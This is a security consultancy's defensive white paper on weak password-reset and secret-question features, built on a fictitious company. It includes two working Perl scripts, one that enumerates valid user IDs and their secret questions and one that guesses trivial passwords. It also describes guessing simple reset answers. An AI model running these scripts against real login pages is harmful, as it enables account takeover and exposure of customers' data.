



SECURICON

Information Security Solutions

Your Customers and Their Secrets

Author: David Kyger

david.kyger@securicon.com

www.securicon.com



Table of Contents

A1	Introduction	1
A2	Tight Network Security Profile	1
A3	FOO Inc. Customer Profile	1
A4	Enter The Attacker	2
A5	Does This Apply To My Customers?	4
A6	Recommendations	4
A7	Conclusion	5
A8	Additional Reading	5



A1 Introduction

This paper discusses and analyzes the internet-based, password reset functionality provided by many organizations for their customers. The average application user is being forced to remember more and more complex passwords to accomplish their daily routines. The very nature of complex passwords, sometimes results in passwords that are “meant” to be forgotten. Users are constantly reminded (or forced) to select passwords that can not be easily guessed or successfully attacked with brute-force tools. While some users still fail to use strong passwords, many users “over-compensate” by selecting a password that is too difficult to remember. To support these customers, many web sites provide a password reset functionality as a quick means for users, after having successfully answered a challenge question, to reset their currently assigned password. This feature is intended to reduce the demand for human helpdesk interaction, thereby reducing the cost of operating the application or service.

Unfortunately, these cost-saving password reset features have opened up new vectors for attack. Why would an attacker spend hours or days trying to find a software hole when he/she can simply reset all user passwords? Password reset services are quickly becoming the easiest way to gain access to customer data. These reset features, when not implemented correctly, are the simplest and quickest backdoor for the enumeration and unauthorized access of customer accounts.

This paper is based on the results of numerous penetration tests conducted by a professional information security consulting organization. While the scenarios discussed have been sanitized to remove any identifying information, the sample data and scripts presented here were used or obtained during the course of multiple penetration tests against multiple target company networks. It is reasonable to assume that a wide range of corporate and government networks are vulnerable to attack using these same methods.

This information is presented in the interest of raising awareness and suggesting solutions which organizations can implement to properly implement password reset features and defend against this application attack vector.

A2 Tight Network Security Profile

Consider this scenario: Our fictitious company, Foo Inc., is providing adequate perimeter security by limiting their external fingerprint. Network services have been minimized on externally exposed servers, so that only those services required for normal business operations can be detected and attacked from the Internet. Public facing services are monitored and patched on a routine basis to mitigate vulnerabilities in sophisticated software. Foo Inc. has also contracted to have monthly vulnerability scans accomplished, which effectively limit the duration that vulnerabilities can “slip” by their patch and configuration processes. Foo Inc. has also undergone a number of application assessments and is starting to get a handle on proper error handling, sanitizing user input and other recognized application security best practices. From a security standpoint, the security posture of Foo Inc. appears to be quite strong and the executives at Foo sleep well at night, knowing that their network is secure and capable of resisting attack.

A3 FOO Inc. Customer Profile

Foo Inc. also provides several on-line services to hundreds of thousands of customers. For each of these services, customers must enter a username and password to access Foo’s applications. Within the internal network, Foo’s employees are forced to select passwords that conform to various password complexity rules. Applying this control to Foo Inc.’s customer accounts, however, has not yet been formally addressed. With this in mind, consider the following customer scenario:

"Hmmm. Where did I put my password? I've tried at least 5 already that I typically use and still no luck. Ah, just what I need!"

At this point the user notices a password reset hyperlink provided on the entry page. The link reads, "Click here to reset your password." The customer follows the link and is presented with a secret question that was created when they were first granted access to the system. The customer's secret question reads, "What is the age of my youngest daughter?" The customer supplies the correct answer, resets their password and gains access to the resources provided by the site.



A4 Enter The Attacker

There are various potential factors that could be motivating our hypothetical attacker. It could be the opportunity to obtain some free merchandise; it could be for some real or perceived indiscretion that occurred during the course of an on-line transaction; it could be that our attacker seeks to generate a loss of consumer confidence if the security breach is picked up by the media. Whatever the purpose, our attacker will now show that obtaining access, at least to a limited number of customer accounts, is a trivial matter.

Let us assume that our attacker has performed some basic reconnaissance to become familiar with the mechanics of the target website. He has examined the application login process required by customers. He reviews what other options are provided to unauthenticated users. Eventually, he notes that all that is required to display the password reset question is to supply a valid user ID. And so the game begins.

For this attack, the hacker's tool of choice is the utility Curl. Curl provides automated data transfer options over multiple protocols and can be downloaded from the Internet. It can be easily utilized in a short script to automate a web login process over HTTPS and provides additional options for authentication and encryption.

Our attacker begins by performing a quick Google™ search to find the top 100 surnames in the US. Taking these surnames, our attacker adds these names to a file called "lastnames.txt." The job of the attacker's script will be to cycle through and prepend all alphabetic characters to the beginning of each surname. Each user ID generated, such as asmith, bsmith, csmith, etc. will be submitted to the .asp script responsible for validating the existence of a user. As can be seen in Figure 1, if the user account exists, the script will print out the validated user ID along with their established password reset question.

```
#!/usr/bin/perl -w
my @alpha = qw/a b c d e f g h i j k l m n o p q r s t u v w x y z/;
open( INPUT, "lastnames.txt" );
while (<INPUT>) {
    $lname = $_;
    foreach my $alpha (@alpha) {
        my $username = $alpha . $lname;
        chomp($username);

        my $curl_req =
`curl -s -3 https://Foo Inc./weblogin/Question.asp?CID=$username`;

        my @req = split( /\n/, $curl_req );

        if ( $curl_req =~ m/Invalid User/ ) {
            next;
        }
        else {
            for my $req (@req) {
                if ( $req =~ m/A Valid User/ ) {
                    my @secret = split( //, $req );
                    my @question = split( /\=/, $secret[3] );

                    print $username . ":" . $question[1] . "\n";
                }
            }
        }
    }
}
close(INPUT);
```

Figure 1 – Enumerating Valid User Accounts and Secret Questions



Our attacker launches his script, puts it in the background and returns later to check on its status. When he returns, he observes that his script has validated over two thousand users along with their password reset question. A quick glance reveals that many could be guessed or brute-forced within a relatively short period of time.

What is your favorite color?
What color is my car?
How many years have I been married?
How many kids do I have?

To achieve successful penetration, our attacker decides not to target the password reset questions of individual users. Rather, our attacker decides to perform an initial quick guess of all validated accounts to test whether the account has an assigned password of "password" or if the password also matches the user ID of the customer. As shown in Figure 2, our attacker has placed the validated user IDs into a text file and has constructed another short script to test for this condition.

```
#!/usr/bin/perl -w

use strict;
use LWP::UserAgent;

open( INPUT, "customers.txt" );

while ( <INPUT> ) {

    my $customer = "$_";
    my @pass = "password";
    push (@pass, $customer);

    foreach my $pass (@pass) {

        chomp($customer);
        chomp($pass);

        my $ua;
        $ua = LWP::UserAgent->new;
        $ua->agent("Mozilla");
        my $req =
            HTTP::Request->new( POST =>
" https://Foo Inc./weblogin/Login.asp?CID=$customer&PWD=$pass"
            );

        my $res = $ua->request($req);
        my $text = $res->content;

        if ( $text =~ m/User ID or Password Invalid/ ) {
            print " $customer password is not $pass \n";
        }
        else {
            print " $customer password is $pass! \n";
        }
    }
}
}
```

Figure 2 – Testing Validated Accounts for Poorly Chosen Passwords

When the script runs to completion, the attacker observes that over 20 customers have made the poor judgment call of selecting a password of "password" and over 15 customers have selected a password that matches their customer ID.

Having compromised a number of unprotected user accounts quickly, our attacker then shifts his focus on the secret questions that have been harvested. Foo Inc. allows customers to immediately reset their password after successfully answering a secret challenge question. Unfortunately for Foo Inc., many of these secret answers are based on a single word, such as a color or number. The lack of complexity in these secret questions makes it almost certain that more of Foo Inc.'s customer accounts will be compromised.



Our attacker now proceeds to extract all user accounts where a number is suggested as the answer to the secret question, such as in the case of “How many children do I have?” With such a simple secret question, only a few attempts are needed to successfully guess the correct answer. The attacker merely passes a series of numbers to each of these secret questions, allowing the attacker to reset the password for a significant number of customer accounts. Doing the same for a list of users that have chosen a color as the answer to their secret questions and the number of compromised customer accounts has increased significantly.

At this point in time, our attacker has access to a significant number of customer accounts and has obtained access to whatever resources are provided to our customers via the web. These resources could include personal e-mail, on-line billing statements or options for requesting service changes or termination. Unauthorized disclosure or access to any of the mentioned resources could result in a series of frustrated phone calls to your organization’s customer support staff. In some cases, negative media exposure could provide an unwanted jab to your organization’s reputation.

A5 Does This Apply To My Customers?

If your organization provides web-based services for customers, you may be considering how this scenario could apply to your customer base and what the possible consequences of a successful attack would be. A few questions can help to put this scenario into perspective.

1. Does your application provide an uninformative error message, such as “Login Incorrect”, for all failed login attempts?
2. Are customers required to provide an additional piece of information, such as their date of birth or last 4 of SSN, in conjunction with their assigned user ID in order to access their secret question?
3. Does your application ensure that users are supplying passwords that are deemed to be sufficiently complex? That is, are customers required to provide passwords that conform to the selected secret question?
4. As a matter of policy, does your organization prevent customers from creating their own secret questions? Do the secret questions provided by your organization differ significantly from the example secret questions provided in our attack scenario?
5. Is your organization actively monitoring the event logs of your application environment?

If you’ve answered “No” to any of the above listed questions, there is a high likelihood that adequate checks have not been established to prevent the unauthorized access of customer accounts. Your customers, and your reputation, could be at risk!

A6 Recommendations

Different environments call for differing solutions; however, the following guidelines should be considered to reduce the exposure of your customers via your organization’s web based applications. Keep in mind that the objective is to prevent the disclosure of valid customer accounts and to prevent customers from choosing insecure secret questions that can be easily guessed or revealed.

1. **Reduce Your Information Exposure with Generic Error Messages:** It is not uncommon to encounter applications that permit users to validate customer accounts. If a malicious user were to submit a customer ID to the application that does not exist within the system, the user would be presented with a message such as, “Invalid User Account.” This additional piece of information would help a malicious user to validate customer accounts currently in use by the application. Once validated, customer accounts could then be harvested and subsequently brute-forced or locked out. To prevent the enumeration of valid customer accounts, it is recommended that a more generic message be presented, such as “Login Invalid.”
2. **Require Information That Only Your Customers Know:** The attack, as outlined in this paper, could have been significantly delayed if the user was required to provide an additional piece of information to access their secret question. The additional piece of information could be something that could be easily recalled by the customer. Examples would include the customer’s date of birth, the last five of their SSN or a series of numbers on a billing or



account statement. Only by providing two pieces of information would the user then be provided with their selected secret question. This information can be requested in multiples if the perceived risk of unauthorized access to customer information is severe.

- 3. Implement Secure Technological Controls:** Implement password complexity requirements for customer accounts to provide some level of protection against simple password guessing attacks. Equally important is to ensure that the password complexity controls introduced can not provide the user with an opportunity to create a conforming password that, by all accounts, is equally susceptible to password guessing attacks. For example, when confronted with password complexity requirements, users will often provide a password of "password1." Overlay password complexity requirements with dictionary checks to ensure that user's application passwords do include strings such as password or the user ID as part of the password.

Similar to user passwords, a significant percentage of users will create insecure secret questions. We have also seen password "hints" created by users that included the password within the hint. Do not permit user's to create their secret questions. Rather, provide users with a large pool of secret questions to choose from. The secret questions provided should necessarily promote the use of complex passwords. For example, secret questions could be combined to formulate complex alpha-numeric passwords. Some examples of secret questions would be as follows:

What is the last 4 of my SSN plus the name of my favorite actor?

What is the last name of my best friend plus the last 4 digits of my telephone number?

Additional checks should be conducted by your application to ensure users are supplying answers that form complex passwords, as dictated by the user-selected secret question. If left to their own devices to choose their secret questions, there will invariably be users who select simple to guess password hints, such as "password" or a word that matches their user ID.

- 4. Be On The Lookout! Monitor Your Logs:** Build application intelligence that can correlate multiple failed login attempts by a given set of criteria. Events to trigger on could include multiple failed logins across a series of accounts, multiple failed logins across a single account as well as multiple failed logins for invalid accounts. In this way your organization will be able to detect users that may be attempting to brute force attack customer account IDs. When attacks such as this are detected, the appropriate mitigation strategies can then be employed.

If your organization has an established monitoring solution in place, examine what options are available for implementing your application events into your current monitoring solution. The key is to create a useful security event from your application log data that can quickly be addressed by your analysis team.

A7 Conclusion

Hopefully this discussion has provided some insight into how attacks can be conducted against your organization's customer accounts and what measures you can take to mitigate this threat. While some basic application features, such as secret questions, have been implemented to cut operating costs and to improve customer service, they can also expose your organization to serious risk. However, these time-saving features can be used in a secure manner by ensuring that they are implemented in a way that does not create more problems than they are designed to solve.

A8 Additional Reading

For additional information on the implementation of secret questions, see Mark Burnett's article "Using Secret Questions."

<http://www.owasp.org/columns/mburnett/questions.html>